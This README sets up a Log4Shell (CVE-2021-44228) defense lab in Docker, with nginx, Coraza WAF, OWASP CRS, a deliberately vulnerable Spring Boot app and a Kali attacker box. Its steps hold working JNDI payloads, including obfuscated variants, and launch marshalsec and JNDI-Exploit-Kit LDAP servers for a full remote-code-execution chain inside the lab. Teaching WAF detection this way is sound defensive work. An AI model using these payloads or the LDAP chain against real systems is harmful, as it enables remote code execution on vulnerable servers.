
Laboratorio de defensa contra Log4Shell (CVE-2021-44228) — nginx + módulo dinámico de Coraza WAF + OWASP CRS v4. Solo para uso educativo.
Propósito educativo / defensivo: este laboratorio contiene una aplicación deliberadamente vulnerable (Log4j 2.14.1) y un kit de exploits JNDI, SOLO para aprender a detectar y bloquear Log4Shell en un entorno aislado. No lo despliegues a Internet, no lo uses para atacar sistemas que no te pertenecen.
Laboratorio práctico de defensa contra Log4Shell (CVE-2021-44228) usando nginx con Coraza WAF integrado (módulo dinámico) + OWASP CRS v4 + conjunto de reglas JNDI personalizadas. Incluye un contenedor objetivo Spring Boot vulnerable, una attacker-box Kali y Suricata + Wazuh para observación.
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│ ├── nginx-proxy ← entrypoint :80/:443, có Coraza module + CRS v4
│ ├── attacker-box ← Kali + JNDI exploit kits
│ └── suricata-ids ← sniff dmz traffic
│
└── backend-net (172.22.0.0/24, internal: true)
├── nginx-proxy ← second NIC
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
Flujo de peticiones: client → nginx (Coraza inspect) → log4shell-app. El WAF se ejecuta dentro de nginx (a través del módulo ngx_http_coraza_module.so), no en un contenedor aparte.
| Elemento | Versión mínima |
|---|---|
| Docker Desktop / Engine | 24+ con Compose v2 |
| RAM libre | 4 GB (Wazuh consume ~1.5 GB) |
| Disco libre | 6 GB (artefactos de build de imágenes) |
| Tiempo de build inicial | 10–15 minutos (libcoraza + módulo nginx + herramientas Maven del atacante) |
cd /path/to/log4shell-nginx-coraza
docker compose build
La etapa más lenta es nginx (build de libcoraza v1.4.0 con Go 1.25 y después compilación del módulo coraza-nginx). Se cachea tras la primera vez.
docker compose up -d
docker compose ps
Después de ~30s, estado esperado:
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"
# qua WAF tới app (endpoint thật của log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/ sin el header X-Api-Version devuelve 400 — es el error whitelabel de Spring Boot (sin handler), no es un bloqueo del WAF.
# JNDI trong User-Agent → rule 1910010 fire, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI trong header app log: X-Api-Version → rule 1910001 (header+arg) fire, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI trong query string → CRS phase 1 chặn
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
Esperado: HTTP/1.1 403 Forbidden, cuerpo <html>... 403 Forbidden ... nginx ...</html>.
# Lower trick (rule 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Colon-dash-dash (rule 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (rule 1910026: Content-Type=json + body chứa jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
Cada evento JSON Lines incluye:
transaction.is_interrupted: true → el WAF bloqueómessages[].error_message → qué regla se disparó, archivo y línea, severidaddocker exec nginx-proxy tail -f /var/log/nginx/access.log
Filtrar los bloqueos:
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
Por defecto
backend-nettieneinternal: trueyattacker-boxsolo está endmz-net, por lo que log4shell-app NO puede alcanzar attacker-box. Para que la cadena JNDI funcione de extremo a extremo, haz el paso 6.0 primero.
Edita docker-compose.yml y añade attacker-box a backend-net:
attacker-box:
networks:
- dmz-net
- backend-net # <— thêm
O mueve log4shell-app a dmz-net (más simple, pero reduce el valor didáctico de la segmentación):
log4shell-app:
networks:
- backend-net
- dmz-net # <— thêm
Aplica: docker compose up -d (Compose recrea ese contenedor).
docker exec -it kali-attacker bash
cd /opt/exploits
# Option A: marshalsec — đơn giản, chỉ relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# Option B: JNDI-Exploit-Kit — full toolkit, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
El servidor escucha en LDAP :1389 y HTTP :8888 (expuestos al host en el compose).
# Từ attacker-box, gọi thẳng log4shell-app trên backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
Verifícalo:
# Pwned marker được tạo trong app container
docker exec victim-app ls -la /tmp/pwned
Si el archivo aparece → la cadena de exploit funciona, la app sigue vulnerable y el WAF NO se evade por la vía principal.
# Đi qua nginx (đường chính public)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, KHÔNG có /tmp/pwned mới
El archivo ./coraza/config/log4shell-rules.conf está montado :ro en nginx en /etc/nginx/coraza/log4shell-rules.conf. Después de editarlo:
docker exec nginx-proxy nginx -t # syntax check
docker exec nginx-proxy nginx -s reload
Si Coraza reporta un error de parseo (failed to compile the directive...), los workers saldrán y nginx -s reload no podrá reiniciarlos. En ese caso:
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
Orden de inclusión (en nginx/coraza/main.conf, ya integrado en la imagen):
SecRuleEngine On, audit log, debug logcrs-setup.conf — inicializa tx.*_anomaly_score, umbralowasp-crs/rules/*.conf — todo el CRS v4.7.0log4shell-rules.conf — reglas personalizadas (montadas desde el host)Rango de IDs de reglas personalizadas: 1910001 – 1910999 (evita el rango CRS 900000–999999).
EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG. HIGH/LOW no son válidos.IP:, SESSION:, RESOURCE:) no funcionan si no se ha configurado un backing store. Usa tx. para per-request o rate-limit mediante nginx limit_req_zone.(unhealthy) / curl localhost se cuelgadocker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza
Normalmente se debe a una regla nueva con sintaxis incorrecta → todos los workers salen con código 2. Corrige la regla y ejecuta docker compose restart nginx.
failed to create WAF: ... unknown severity: HIGHCambia severity:'HIGH' → severity:'ERROR' en la regla personalizada.
failed to compile the directive "secrule": invalid arguments, expected collection TXLa regla está usando setvar:ip.xxx o referenciando IP:something / TX:NEVER_DECLARED. Elimina la colección persistente o integra la lógica en una única regla en cadena.
Exited (1)La imagen jasonish/suricata:latest tiene su propio entrypoint y el yaml montado desde ./suricata/config/ puede no ser compatible con la versión de la imagen. Solución rápida: comenta temporalmente el servicio suricata en el compose; el laboratorio sigue funcionando normal (no se necesita IDS para que Coraza funcione). Para arreglarlo de raíz, sustituye suricata.yaml por el predeterminado de la imagen (docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml).
La imagen base está sobre Alpine 3.8 EOL. Asegúrate de que el command en el compose sea ["java", "-jar", "/app/spring-boot-application.jar"] (SIN apk add iptables — el repo de Alpine 3.8 ya devuelve 404).
http://localhost:5601Wazuh manager + dashboard necesitan además wazuh-indexer (OpenSearch) para funcionar por completo. El stack actual carece de ese servicio — el dashboard se iniciará, pero el login fallará. Si lo necesitas de verdad, añade el servicio wazuh-indexer siguiendo el compose oficial.
# Stop + remove container, giữ image cache
docker compose down
# Nuke all (kèm volume Wazuh, ép rebuild lần sau)
docker compose down -v
# Xoá luôn image build (giải phóng ~3 GB)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│ ├── Dockerfile # multi-stage: libcoraza + coraza-nginx + CRS v4
│ ├── nginx.conf # load_module + coraza on; ở http{}
│ ├── conf/
│ │ └── default.conf # reverse proxy → log4shell-app:8080
│ └── coraza/
│ └── main.conf # engine config + Include CRS + custom
├── coraza/
│ └── config/
│ └── log4shell-rules.conf # custom JNDI rules, mount :ro vào nginx
├── attacker/
│ ├── Dockerfile # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│ ├── scripts/
│ │ ├── start-ldap-server.sh
│ │ └── test-payloads.sh
│ └── exploit-classes/
│ └── Exploit.java
├── suricata/
│ ├── config/
│ └── rules/
├── wazuh/config/
└── logs/ # mount points cho nginx, coraza, app, suricata, wazuh
| Rango | Responsable | ¿Se solapa con rango CRS? |
|---|---|---|
| 900000–999999 | OWASP CRS v4 (init, IP rep, protocol, RCE, SQLi, XSS, scanners, blocking eval) | (propiedad de CRS) |
| 1910000–1910999 | Reglas Log4Shell personalizadas | No |
Todos los IDs de reglas personalizadas actuales: 1910001–1910008 (patrones JNDI), 1910010–1910014 (por header), 1910015 (protocolos alternativos), 1910020 (detección de escaneo), 1910026 (cadena en cuerpo JSON), 1910028 (cadena en cuerpo XML), 1910030 (paranoia 3), 1910999 (eco de evaluación de anomalías).
Cierre: si el laboratorio llega al Paso 4, el WAF ya está funcionando. El Paso 6 solo es necesario si quieres demostrar la cadena de exploit completa de extremo a extremo.
| Service | STATUS |
|---|
nginx-proxy | Up (healthy) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | puede estar Restarting (ver sección 8 — no bloquea el laboratorio) |
TX:VARNAME solo puede referenciar variables declaradas con setvar en la misma petición. Si la regla está en otra fase, considera convertirla en una regla en cadena (chain).